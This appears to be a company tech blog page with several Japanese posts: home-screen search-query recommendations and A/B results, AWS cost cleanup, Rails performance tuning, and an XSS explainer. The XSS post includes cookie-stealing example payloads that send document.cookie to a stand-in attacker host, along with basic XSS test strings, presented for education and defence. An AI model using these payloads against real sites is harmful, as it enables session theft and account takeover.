個別商品レコメンドから検索クエリへ:アプリホームの新しいレコメンド検証

こんにちは、データサイエンティストの髙橋です。業務では企画/分析/機械学習モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。

この記事では、BUYMA アプリのホーム画面に検索クエリレコメンドを導入し、ホームレコメンド経由の CVR の向上、アプリ全体の商品閲覧ユーザー率(商品詳細を閲覧したユーザー/全体ユーザー)の改善をした事例を紹介します。

レコメンドシステム全体としては、機械学習ロジックとバックエンド実装の両方がありますが、今回は前者の機械学習ロジックを中心に紹介します。バックエンド実装は別途紹介予定です。

施策の目的

弊社が運営している CtoC EC サービス BUYMA の iOS アプリのホーム画面には「あなたへのおすすめ」セクションがあり、ユーザーが閲覧した商品に基づいてレコメンドされた商品が表示されています。

しかし、個別商品のレコメンドのみを提供しているため、ユーザーに表示できる商品の幅が制限され、購入に結び付く商品にホームから出会いづらいのではという仮説がありました。そこで、個別商品のみではなく、検索クエリのレコメンドを実施することで、ユーザーに表示できる商品の幅を広げ、購入候補となる商品に出会いやすくできないかを検証しました。検索クエリのレコメンドでは、商品単体ではなく検索結果への導線を提示できるため、ユーザーがより広い候補の中から商品を探せるようになります。

最終目標は、 iOS アプリ全体の売上を上げることですが、アプリ全体の購入にホームレコメンドが占める割合はそれほど大きくなく、はじめからそれを実現するのは難しいと考え、まずはホームレコメンド経由の売上を増加させることを目標としました。

新しいレコメンドイメージ

既存の iOS アプリのホーム画面のレコメンドは個別商品を以下のように表示していました。

既存のiOSアプリのホーム画面のレコメンド

新しいレコメンドとして、以下のような検索クエリのレコメンドを既存の個別商品レコメンドの上部に追加しました。ここで、検索クエリごとに商品を何件か見せるようにしました。また、検索クエリごとに検索結果に遷移できるボタンを設けることで、ユーザーが検索結果に遷移してより広い商品を見ることができるようにしました。検索結果への導線は、検索ラベル名の横とカルーセル末尾の2箇所に設けました。

新しいiOSアプリのホーム画面のレコメンド

もっと見るボタン位置

検索クエリとしては、商品カテゴリとブランドの組み合わせや、商品カテゴリとタグの組み合わせなどを用意しました。例えば「スニーカー × ブランド A」「Tシャツ × ストリート」など、商品カテゴリにブランドやタグを組み合わせた検索クエリ候補を作成しました。

新しいレコメンドによる事業効果

AB テストの結果、ホームレコメンド経由の CVR の上昇が見られました。ホームレコメンドからユーザーが閲覧できる商品の幅を広げ、購入候補となる商品に出会いやすくできたことが CVR 上昇に寄与したと考えられます。

また、iOS アプリ全体の商品閲覧ユーザー率にも上昇が見られました。検索クエリごとに複数の商品を表示し検索結果への導線を設けたことで、ホーム画面からの商品探索を促せたことが閲覧ユーザー率上昇に寄与した可能性があります。

詳細な数値などは後述のABテストセクションにて紹介します。

レコメンドロジック

実際に利用した検索クエリレコメンドのロジックについて紹介します。今回の検索クエリレコメンドでは、大きく以下の4つの処理を行いました。

  1. 商品と検索クエリの類似度計算
  2. ユーザーの商品閲覧履歴から、関連性の高い検索クエリレコメンドを作成する
  3. 各検索クエリ内で表示する商品を、ユーザーの興味に近い順に並び替える
  4. 表示内容が固定化されないように、Gumbel-Top-k Trick によって一定のランダム性を加える

以降では、それぞれの処理について説明します。

商品と検索クエリの類似度計算

検索クエリのレコメンド自体に効果があるのかをクイックに検証するために、協調フィルタリングベースの実装負荷が低いロジックを採用しました。

通常の item-to-item 協調フィルタリングでは、ユーザーごとの閲覧有無をベクトルとみなし、商品同士の類似度をコサイン類似度で計算します。商品  i の閲覧ベクトルを  \boldsymbol{x}_i とすると、コサイン類似度は以下の式で表されます。

 \displaystyle
\cos(\boldsymbol{x}_i, \boldsymbol{x}_{i'}) = \frac{\boldsymbol{x}_i \cdot \boldsymbol{x}_{i'}}{|\boldsymbol{x}_i||\boldsymbol{x}_{i'}|}

ここで、各次元をユーザー、値をそのユーザーが商品を閲覧したかどうかの  0, 1 の値とすると、 \boldsymbol{x}_i \cdot \boldsymbol{x}_{i'} は両方の商品を閲覧したユーザー数、 |\boldsymbol{x}_i|  |\boldsymbol{x}_{i'}| はそれぞれの商品を閲覧したユーザー数の平方根になります。

今回の検索クエリレコメンドでは、ユーザーの代わりにセッション  j \in \mathcal{J} を単位とし、商品と検索クエリの類似度を計算しました。具体的には、商品  i の閲覧ベクトルを  \boldsymbol{x}_i \in \{0,1\}^{|\mathcal{J}|} 、検索クエリ  k (例:商品カテゴリとブランドの組み合わせ)に該当する商品の閲覧ベクトルを  \boldsymbol{y}_k \in \{0,1\}^{|\mathcal{J}|} とし、それぞれの次元をセッション、値をそのセッションで閲覧されたかどうかの  0, 1 の値とします。このとき、商品  i と検索クエリ  k の類似度を

 \displaystyle
s_{i,k} := \cos(\boldsymbol{x}_i, \boldsymbol{y}_k) = \frac{\boldsymbol{x}_i \cdot \boldsymbol{y}_k}{|\boldsymbol{x}_i||\boldsymbol{y}_k|}

と定義し、事前計算しました。これにより「ある商品を見たセッションでは、他にどのような検索クエリに該当する商品が見られているか」を集計しています。たとえば、あるスニーカーを閲覧したセッションで「ブランド A のスニーカー」に該当する商品もよく閲覧されていれば、 s_{i,k} は高い値になり、その商品からそのクエリへの関連度が高いとみなします。

ユーザーごとの検索クエリレコメンド作成

これにより計算した商品×検索クエリの類似度  s_{i,k} を元に、ユーザーごとの検索クエリレコメンドを作成しました。具体的には、ユーザー  u に対する検索クエリ  k の集約スコア  S_u(k) を以下の式で計算し、その集約スコア上位の検索クエリをユーザーごとにレコメンドしました。

 \displaystyle
S_u(k) = \sum_{t=0}^{T-1} e^{-\lambda t}\, s_{i_{u,t},\,k}

ここで、 i_{u,t} はユーザー  u が直近  t 番目に閲覧した商品のID( t=0 が最新の閲覧商品)を表します。 S_u(k) は、直近  T 件の閲覧商品それぞれについて、その商品と検索クエリ  k の類似度  s_{i_{u,t},k} (先ほどのコサイン類似度の式により事前計算済み)を、閲覧順に応じた指数減衰の重み  e^{-\lambda t} で重み付けして合算したものです。同じ検索クエリが複数の商品から推薦された場合は加算され、直近の閲覧ほどユーザーの現在の興味を強く反映します。 \lambda \geq 0 は減衰率を表します。

今回は検索クエリのレコメンド自体に効果があるかをクイックに検証する目的だったため、 T  \lambda は後述する定性評価アプリでの結果を見ながら調整しました。オフライン評価指標を設計して最適化するのが本来望ましいですが、まず施策の有効性を確認するフェーズとして定性評価による調整で十分と判断しました。

また、コールドスタート問題、具体的にはマイナーな商品が閲覧履歴に含まれる場合の対処として、レコメンド上位数件はルールベースで直近閲覧商品のブランド × カテゴリを出力するようにしました。マイナー商品は共閲覧セッション数が少なくスコアの信頼性が低くなるため、こうしたケースでも関連性が高いクエリを最上位に表示できるよう意図しています。先ほど述べたようにクイックに検証する目的上、ここへの深い投資は優先度を下げた判断です。

検索クエリ内の商品並び替え

新しいレコメンドイメージで説明したように、検索クエリごとに商品を何件か見せるようにしました。

新しいiOSアプリのホーム画面のレコメンド

ここで、単純に検索クエリで検索したときの人気商品を見せると、ユーザーが閲覧した商品との関連性が低い商品が表示され興味を惹きづらい問題がありました。そこで、 item-to-item 協調フィルタリングも作成し、その結果を元に各検索クエリ内の商品を並び替えるようにしました。
例えば、ユーザーがブランド A のピンクのバッグを閲覧していた場合を考えます。以下のように並び替え前は人気順上位の黒・白のバッグが表示されていました。これを item-to-item 協調フィルタリングの結果をもとに並び替えることで、ピンク系のバッグが表示されるようにしました。

並び替え前後の例

並び替えには Solr のブーストクエリの仕組みを利用しました。具体的には、検索クエリに該当する商品の中で、ユーザーの直近閲覧商品との item-to-item 協調フィルタリング結果上位の商品にブーストをかけることで、ユーザーの興味に近い商品を上位に表示しました。Solr のブーストクエリの採用理由としては、検索エンジンとして Solr を利用しており、それに付随する機能を利用した方が開発工数を抑えつつ検索クエリ内の商品並び替えができると考えたためです。

レコメンドの並び順に対するランダム性の導入

ユーザーごとの検索クエリの集約スコアで検索クエリを並べて表示すると、アプリ訪問のたびに同じような検索クエリが表示される問題がありました。そこで、検索クエリの並び順に対するランダム性を導入し、アプリ訪問のたびに検索クエリの並び順が変化するようにし、より回遊を促せるようにしました。また、検索クエリ内の商品並び替えについても同様の理由でランダム性を導入しました。

ランダム性の導入には Gumbel-Top-k Trick を利用しました。スコアに Gumbel ノイズを加算して top k を取ることで、スコア上位の候補ほど選ばれやすくしつつ、一定のランダム性を持たせる手法です。実装では、スコアに温度パラメータをかけることで、関連性を重視する度合いとランダム性の強さを調整しました。これによりスコア上位の関連性の高い検索クエリは表示されやすくしつつも、時にやや意外性のある下位の検索クエリも表示されることで、ユーザーが飽きずに回遊を続けられることを意図しています。実際に結果を確認すると、関連性の高いクエリが多く表示されつつも、時折意外性のあるクエリが混ざるような挙動となりました。

定性評価

検索クエリレコメンドの精度を確認するために定性評価を実施しました。生成 AI をコーディング支援に利用し、閲覧した商品IDリストを入力すると検索クエリレコメンド結果を表示する Web アプリを素早く作成しました。これをチームメンバーにも使っていただき、フィードバックを得ながら細かな調整を実施しました。また、これにより Bot などの大量アクセスによりレコメンド結果が不自然になることに気づけ、それを防ぐための前処理を入れることもできました。具体的には、以前弊社の技術ブログでも紹介した手法を参考に、短時間で大量に商品閲覧しているセッションを除外する対応を行いました。

AB テスト

AB テストは、iOS アプリのホーム画面を訪問したユーザーを対象に2週間実施しました。Treatment では検索クエリレコメンドを12件、既存の個別商品レコメンドの上部に追加表示しました。Control では既存の個別商品レコメンドのみを表示しました。

Control と Treatment の画面イメージ比較図は以下のとおりです。

Control と Treatment の画面イメージ比較図

AB テストの結果は以下の通りです。

指標 Treatment / Control 相対改善 備考
ホームレコメンド経由の CVR 138% +38% 主指標
ホームレコメンド経由の ARPPU 105% +5% 客単価が落ちていないことの確認
ホームレコメンド経由の ARPU 146% +46% 客単価が落ちていないことの確認
iOS アプリ全体の商品閲覧ユーザー率 100.4% +0.4%
iOS アプリ全体の CVR 100.1% +0.1%

ここでいうホームレコメンド経由の CVR は、iOS アプリのホーム画面を訪問したユーザーのうち、ホームレコメンド経由で購入に至ったユーザー割合として定義しています。また、ホームレコメンド経由の購入は、ホームレコメンド上の商品または検索結果導線を起点として商品詳細に到達し、購入に至ったケースとして集計しています。

AB テストでは、ホームレコメンド経由の CVR や ARPU が改善しました。また、ARPPU が大きく低下していなかったことから、CVR 改善の裏で購入単価が悪化しているわけではないことも確認できました。

一方で、アプリ全体の CVR には大きな変化は見られませんでした。ホームレコメンド経由の購入は増加したものの、その一部には他導線からホームレコメンド経由への購入経路の付け替わりが含まれていた可能性があります。そのため、今回の施策はアプリ全体の購入を大きく押し上げるというよりも、ホーム画面からの商品探索を促進し、ホームレコメンド経由の購入機会を増やす効果が大きかったと考えています。

iOS アプリ全体では商品閲覧ユーザー率の上昇が見られました。iOS アプリ全体の商品閲覧ユーザーを分解して確認すると、検索クエリレコメンドのみから商品閲覧をしたユーザーが増えていました。それらの多くは検索結果画面に遷移したうえで商品を閲覧していました。このことから、検索クエリをレコメンドすることで、ホーム画面から検索結果での回遊を促し、アプリ全体の商品閲覧ユーザー率の改善につながったと考えられます。

商品閲覧ユーザー分解

まとめ

今回、iOS アプリのホーム画面に検索クエリレコメンドを導入したことで、ホームレコメンド経由の CVR、iOS アプリ全体の商品閲覧ユーザー率の上昇が見られました。これらの結果から、検索クエリのレコメンドがユーザーの回遊を促し、購入に結び付く商品に出会う確率を上げることができたと考えられます。一方で、課題としては全体の CVR にあまり変化は無かったことがあります。そこで、購入経路の付け替えではなく、純増を生み出す方向のレコメンドロジックや UI/UX を追求していきたいと考えています。それに向けて現在も引き続き AB テストにて新たなレコメンドロジックや UI/UX を試しています。


株式会社エニグモ すべての求人一覧

hrmos.co

AWSリソースの整理とコスト最適化 手動運用で掴むシステムの肌感覚と自動化への展望

概要

こんにちは、インフラエンジニアの 加藤 です。

社内で行ったAWSのコスト最適化とリソース整理の内容をレポートします。

今回は、AWS Compute OptimizerAWS Trusted AdvisorAmazon S3 Storage Lensを活用し、不要・過剰リソースの洗い出しから削除までを手動で実施しました。

まずはAWSの公式推奨値や手作業でのチェックを経て「どの部分を仕組み化できそうか」のあたりをつけ、今後はそれをベースに自動化や定期モニタリングの仕組みを構築していく予定です。

本記事では、具体的な実施内容や改善結果とあわせて、今後の自動化・仕組み化に向けた方針をまとめます。


1. 現状確認

過剰なコストが発生している可能性の高い箇所を特定するため、以下の3つのアプローチで調査を行いました。

1-1. AWS Compute Optimizerの確認

  • 稼働中のEC2インスタンスやEBSボリュームの推奨ステータス(最適化可能、過剰プロビジョニングなど)を抽出しました。

1-2. AWS Trusted Advisorの確認

  • コスト最適化項目を確認し、利用率の低いEC2インスタンスや未使用のEBSボリュームなどを抽出しました。
    【注意】Trusted Advisorの網羅性】
    Trusted Advisorは非常に便利ですが、あくまでAWSが定義した標準的なルールに基づく推奨事項の提示に留まります。
    アカウント内の不要なリソースをすべて完璧に洗い出せるわけではないため、Trusted Advisorの確認だけでなく、独自の基準による調査も組み合わせて実施しました。

また、推奨内容の適用にあたっては、監視メトリクスから平常時・ピーク時双方のリソース使用状況を分析し、性能劣化やリソース枯渇のリスクがないことを検証したうえで実施しました。
変更作業については、段階的な適用を基本方針とし、利用状況の分析結果に基づいてメンテナンス時間帯を選定することで、サービスへの影響を最小化しました。
利用者の多いシステムに対する再起動を伴う変更は、安定運用のため影響の少ない時間帯に実施しました。

1-3. 長期間放置されているリソースの整理

  • 長期放置されているEC2関連リソースとS3バケットの確認を実施しました。
    • EC2関係
      • 1年以上前に作成されたまま稼働・利用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIをリストアップし、不要なものを整理しました。
      • AWS Instance Schedulerで利用している既存タグではコスト効率が悪いもの(例:夜間停止後平日日中に再起動してしまうケース)については、新たに「停止のみ」のスケジュール設定を追加しました。
    • S3関係
      • S3 Storage LensとS3 APIを活用し、長期間更新のないオブジェクト、不完全なマルチパートアップロードの有無、ライフサイクルルールの設定状況を横断的に確認しました。

2. 実施した最適化作業(手動対応)

「1. 現状確認」で抽出した調査結果に基づき、対象リソースの棚卸しを実施しました。具体的には、スプレッドシートに対象リソース一覧を整理した上で、関係各所のメンバーに対して個別にヒアリングを行い、利用状況および必要性を確認しました。その結果を踏まえ、手動作業にて以下のリソース最適化・整理を実施しました。

2-1. AWS Compute Optimizer / Trusted Advisor に基づく対応

ツールから推奨された「過剰プロビジョニング」や「未使用リソース」のステータスに対し、以下の即効性のある対応を行いました。

  • インスタンス・EBSの最適化
    • 過剰スペックと判定されたEC2インスタンスのタイプ変更(ダウンサイジング)を実施しました。
    • EBSボリュームのパラメータ(容量・IOPS・スループット)を実際の利用実績に合わせて最適化しました。
  • 未使用リソースの削除・解放
    • コストが発生していた未使用のEBSボリューム・EBSスナップショットやEC2インスタンスを整理し削除しました。

2-2. 独自基準に基づく対応(EC2関連リソース)

Trusted Advisor等では検知しきれない、長期間放置されていたリソースの整理と、今後の無駄を防ぐための設定変更を行いました。

  • 長期未使用リソースのクリーンアップ
    • 1年以上前に作成され、運用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIを精査し、不要なものを削除しました。
  • AWS Instance Schedulerのタグ設定の見直し
    • 調査時に停止忘れ対策単体のタグが存在していなかったため、新しく停止用のタグを作成・付与し、自動でインスタンスが停止してコストの無駄遣いを防げる状態にしました。

2-3. 長期間放置されているリソースの整理(S3関連リソース)

S3 Storage LensとS3 APIの調査結果を基に、ストレージコストを削減するための整理を行いました。

  • オブジェクトの精査と削除

    • 長期間更新のなかったバケットやオブジェクトを精査し、不要なリソースを削除しました。
  • マルチパートアップロードのクリーンアップ

    • 蓄積していた「不完全なマルチパートアップロード」をクリーンアップし、無駄なストレージ消費を解消しました。
  • ライフサイクルルールの更新

    • 今後の自動コスト最適化(オブジェクトのGlacierへの移行や自動削除など)を見据え、暫定的なライフサイクルルールを設定・更新しました。

3. 今後に向けた自動化・仕組み化の展望

今回は手動でリソースの棚卸し・整理を実施しましたが、リソースの増加は今後も継続的に発生します。
そのため、同様の課題を繰り返さないよう、運用の仕組み化と自動化を進めていきます。

1. 公式推奨事項の定期確認

AWSのベストプラクティスに沿った継続的な改善を行うため、推奨事項を定期的に収集し、Slackへ通知する仕組みを構築します。

対象は以下を想定しています。

  • AWS Compute Optimizer の推奨レポート
  • Trusted Advisor の推奨レポート

人手による定期確認を不要にし、対応漏れの防止や継続的なコスト最適化につなげます。

2. 独自フィルターによる未使用リソース検知

AWSの標準機能だけでは検知できない放置リソースを可視化するため、現場の運用実態に合わせた独自フィルターを作成し、月次でSlackへ通知します。

例えば、今回の棚卸しで利用した基準をもとに、以下のようなリソースを検知対象とします。

  • 作成から1年以上経過したEC2・AMI・EBS・EBS Snapshot
  • 長期間停止状態のEC2
  • 未アタッチのEBS
  • 未参照のAMI・EBS Snapshot

これにより、実運用に即した未使用リソースの早期発見と継続的なコスト削減を実現します。

3. S3運用の標準化と自動化

S3については、ライフサイクル管理の標準化と大量オブジェクト運用時の自動化を進めます。

  • Infrequent Access や Glacier など適切なストレージクラスへの自動移行
  • 不完全なマルチパートアップロードの自動削除
  • バケットやプレフィックス単位での保持期間ルールの整理と自動削除

調査を進める中で、S3の分析・整理に関する運用パターンが確認されたため、今後の対応方針として検討を進めています。 また、Storage Lens、S3 InventoryS3 Batch Operationsを組み合わせた手法はAWS公式ブログでも実装例として紹介されており、今後の検討の参考としています。 ただし、対象バケットはオブジェクト数が多く、各種分析・調査系サービスの利用コストも発生するため、コスト面も含め慎重に検討する必要があります。
参考:AWS公式ブログ:「Copy objects between any Amazon S3 storage classes using S3 Batch Operations


まとめ

コスト最適化の提案から始め、まずは簡単に済ませられるものから各ツールの推奨情報も参考にしながら手作業で進めました。実作業を通してシステムの現状や、単なる削除に留まらないリソースのチューニングに関する判断基準を深く学べたことが大きな収穫です。今後は、今回得た知見をもとに自動化や定期通知の仕組み化へと繋げ、さらなる運用効率の向上に貢献していきます。

株式会社エニグモ すべての求人一覧

hrmos.co

Railsで主要ページのパフォーマンス改善を行った話

こんにちは。BUYMA TRAVELのWebエンジニアの赤間です!

BUYMA TRAVELは BUYMA を運営する株式会社エニグモのグループサービスです。

1. はじめに

弊社では日本語対応のオプショナルツアー・貸切ガイド予約サイト’’BUYMA TRAVEL’’を開発・運営しています。

その中でも「エリアページ」と「スポットページ」は検索エンジンから流入したユーザが最初に訪れることの多い主要なページです。

ここ数ヶ月でユーザにとってより使いやすいページを目標に、クチコミやおすすめ商品の掲載など様々な要素・機能の追加を行ってきました。しかしその一方で表示速度が低下し、商品数の多いページによっては表示完了まで最大3秒かかってしまう状況でした。

そこでこれらのページを対象に、Railsアプリケーションのパフォーマンス改善を実施しました。本記事では調査の流れから改善内容、その改善を通して得られた知見をご紹介します。

2. エリアページ・スポットページとは

ここで簡単にサービス紹介もかねて、この2つのページのご紹介です。

エリアページ

https://travel.buyma.com/service/a040118/

その名の通り、エリア(地域)単位で商品をまとめている特設ページです。

スポットページ

https://travel.buyma.com/service/a040118/s0000001/

こちらは、観光スポット単位で商品をまとめている特設ページです。

どちらのページも人気商品やプライベート商品、クチコミ、おすすめスポットなどのコンテンツを掲載しています。 一見すると単純な一覧ページですが、実際にはユーザに新鮮な情報を提供するための複数の検索処理や集計処理、共通コンポーネントによって構成されており、システム的に比較的処理の多い重いページとなっています。

3. なぜ改善が必要だったのか

これらのページは検索エンジンから’’BUYMA TRAVEL’’に流入したユーザが最初に目にするページです。

そのため表示速度の低下は単なる技術的な課題ではなく、サービス全体の利用率や売り上げにも直結する可能性があります。 また、エリアページとスポットページはサービス内でもアクセス数が多く、改善効果が大きいページでもありました。

実際に計測したところ、改善前ではページ表示までに最大3秒程度かかってしまうケースも確認できました。 ページ表示速度と離脱率には相関があると言われており、ユーザがページの表示を待っている間に離脱してしまえば、どんなに魅力のある商品を掲載していても見てもらうことはできません。

そこで、本格的なパフォーマンス改善に取り組むこととなりました。

4. AIを活用したボトルネック調査

エリアページは長年運用されてきたページであり、コードベースも大規模化していました。

そのため単純に「とりあえずSQLを削減する」といった場当たり的な改善ではなく、本当にボトルネックとなっている処理を特定する必要がありました。 Railsアプリケーションではコントローラ・モデル・ビュー(・ヘルパー)に処理が分散しているため、どこで処理時間を消費しているかを把握するだけでも手間がかかります。

今回はDatadogで遅いトランザクションを特定し、Cursorを利用してコードベースの調査を行いました。

AIに「TTFBを悪化させている箇所を探して欲しい」 という依頼を行い、懸念箇所や修正候補をリストアップしてもらいました。

5. 調査して見つかった問題箇所

分析の結果、大きく以下の3つの課題が見つかりました。

  • SQLの発行数が多い
  • 同一リクエスト内で重複した計算が発生している
  • キャッシュが十分に活用できていない

特にSQL関連の問題が深刻で、全体処理時間の約60%を占めている有り様でした。

6. 実施した改善

SQL発行数の削減

調査の結果、レスポンス時間の大部分をデータベースアクセスが占めていることがわかりました。

特に商品一覧の表示処理では、関連データを取得する際にN+1問題が発生している箇所が複数存在していました。

N+1問題とは、一覧取得後に各レコードごとに追加のSQLが発行されてしまう問題です。 たとえば商品を10件まとめて表示する場合、本来1回で済むはずが11回以上のDBアクセスが必要になることがあります。 さらにデータ量が増えるほどSQL実行回数も増加するため、パフォーマンスへ大きな影響を与えてしまうのです。

今回の改善では includes を利用したEager Loadingを積極的に導入し、必要な関連データを事前にまとめて取得するように変更しました。 また、同じ情報を異なるコンポーネントで個別に取得している箇所も存在していたため、取得処理を集約し不要なクエリ発行を削減しました。

結果として、SQL発行数を大幅に削減でき、レスポンス改善に最も大きく貢献した施策となりました。

同一リクエストで同じ計算をしていた

調査を進める中で、同一リクエスト内で何度も同じ計算を行なっている箇所も見つかりました。これは本当にもったい無いですね、、、

単体で見ると小さな処理ですが、ページ全体では何度も呼び出されるため無視できないコストになります。 そこでメモ化を導入し、一度計算した結果を再利用するように変更しました。 また、一部の集計処理にはキャッシュを活用することで再計算そのものを削減しています。

大きな改善ではありませんが、細かな最適化の積み重ねが最終的なレスポンス改善につながりました。

お気に入り機能とキャッシュの見直し

今回の改善で特に興味深い問題が、お気に入り機能とキャッシュの関係でした。 商品カードはページ内で大量に表示されるため、本来であればカード単位でキャッシュしたいコンテンツです。商品名や価格、評価、パートナー情報などは頻繁には変化しないため、一度生成したHTMLを再利用できることで大きな効果が期待できます。

しかし、お気に入りの状態はユーザごとに異なる情報です。 同じ商品であってもあるユーザにとっては「お気に入り登録済」、別ユーザにとっては「未登録」という状態があります。

そのため商品カード全体をキャッシュしてしまうと、

  • ユーザごとに異なるキャッシュを生成する必要がある
  • キャッシュキーが複雑になる
  • キャッシュヒット率が低下する という問題が発生します。

実際に、改善前はこの問題を回避するために、お気に入りボタンを除いた「パートナー・評価」「商品情報」の2つの領域に分けて個別にキャッシュしていました。

この構成でもキャッシュがない状態より圧倒的に効率的ですが、キャッシュの管理が複雑であったり、テンプレートも読みづらい実装になっていました。

そこで今回の修正では、商品カードとお気に入りの状態を分離し、商品カード全体を共通キャッシュできる構成へ変更しました。 商品カード本体は全ユーザ共通のHTMLとしてキャッシュし、商品IDごとのお気に入りの状態は別で取得する形です。 これにより商品カード自体は1つのキャッシュとして扱えるようになり、キャッシュ構成をシンプルにしつつ、高いキャッシュ効率を実現しています。

結果としてレスポンス速度だけでなく、今後の保守性や機能追加のしやすさという点でも大きな効果を得ることができました。

7. 改善結果

改善前ではページ表示までに最大3秒程度かかる状態でした。 改善後は1秒に満たない時間で表示できるケースが大半となり、体感速度も大きく向上しました。

今回の改善では特定の1箇所を直したのではなく、

  • SQLの最適化
  • 重複処理の削減
  • キャッシュの見直し といった複数の小さな改善を積み重ねたことが、この結果につながりました。

8. まとめ

当サイトの主要ページである、エリアページ・スポットページの速度改善についてご紹介しました。

パフォーマンス改善というと大規模なアーキテクチャ変更をイメージするかと思います。私自身はそのような印象を持っていました。

しかし実際には特別な技術ではなく、N+1の解消やメモ化、キャッシュ設計の見直しといった、比較的小さな改善の積み重ねでも、十分な効果が出せると実感しました。

Railsには優秀なキャッシュ機構や様々な最適化手法がありますが、まずは基本的なSQLの見直しが重要です。 普段のレビューでもN+1の有無や効率的なデータの取得については確認していますが、改めて見直してみると、どうしても漏れは出てくるものだと感じました。機能追加を重ねてきたページほど、定期的にパフォーマンスの棚卸しは必要だと思います。

今回で大きくレスポンスを改善できましたが、まだ課題は残っています。 特にレビュー集計処理にはサマリーテーブル導入の余地がありますし、ページビューカウントの非同期化など、更なる高速化が可能です。

今後もユーザ体験向上のため、継続的な改善を続けていきます。

XSS(クロスサイトスクリプティング)とは?脆弱性の診断方法と対策

こんにちは。 エニグモのWebアプリケーションエンジニアのレミーです!

Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS(クロスサイトスクリプティング)です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。

XSS(クロスサイトスクリプティング)とは?

XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト(主にJavaScript)を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。

攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。

  • セッションIDやクッキー、個人情報の取得
  • ブラウザやWebサイトの不正操作
  • 悪意のあるサイト(フィッシングサイトなど)への強制リダイレクト

XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ(認証情報)を盗み出すことが主な目的とされています。

XSSの仕組み

XSSは基本的にクライアントサイド(ユーザーのブラウザ上)で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。

仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。

例:脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。

ユーザーが「猫」と検索したとき:

<p>「猫」の検索結果:3件</p>

もし攻撃者が <script>alert('攻撃成功!')</script> と検索したら?

<p><script>alert('攻撃成功!')</script>」の検索結果:0件</p>

ブラウザは攻撃者のコードがそのまま動いてしまいます。

代表的なXSSの種類

1. 反映型XSS(Reflected XSS)

URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。

例:以下のURL

https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script>

気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。

2. 蓄積型XSS(Persistent XSS)

攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。

例:SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました:

<script>
  // このプロフィールを見た全員のクッキーを盗む
  new Image().src = 'https://攻撃者.com/steal?c=' + document.cookie;
</script>

このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。

XSS脆弱性の診断やテスト方法

自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。

例:

<!-- 基本テスト -->
<script>alert('XSS')</script>

<!-- imgタグの onerror を使う方法 -->
<img src=x onerror=alert('XSS')>

<!-- SVGを使う方法 -->
<svg onload=alert('XSS')>

ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。

XSSの防ぎ方・対策

開発者向けの対策

  • サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字(<> など)を排除、または無害化します。
  • 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字(例: < は &lt;、> は &gt;)をエスケープ処理します。これが最も根本的な対策です。
  • WAF(Web Application Firewall)の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。

一般ユーザー向けの対策

  • 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。
  • 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。
  • ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。
  • セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。

エニグモでのセキュリティへの取り組み

弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。

具体的には、以下のような取り組みを行っています。

  • コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。
  • フレームワークのデフォルト機能の活用では、Ruby on Railsの html_saferaw などの使用は最小限にし、使う場合は必ずレビューで確認しています。
  • 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。

まとめ

XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。

スケールするための設計:BUYMA Personal Shopper API のイベント駆動アーキテクチャ

BUYMAのPersonal Shopper API(PS-API)が、gRPC、SQS、Webhook、非同期処理を活用して、マイクロサービスとモノリスをつなぎながらスケールする仕組みを紹介します。

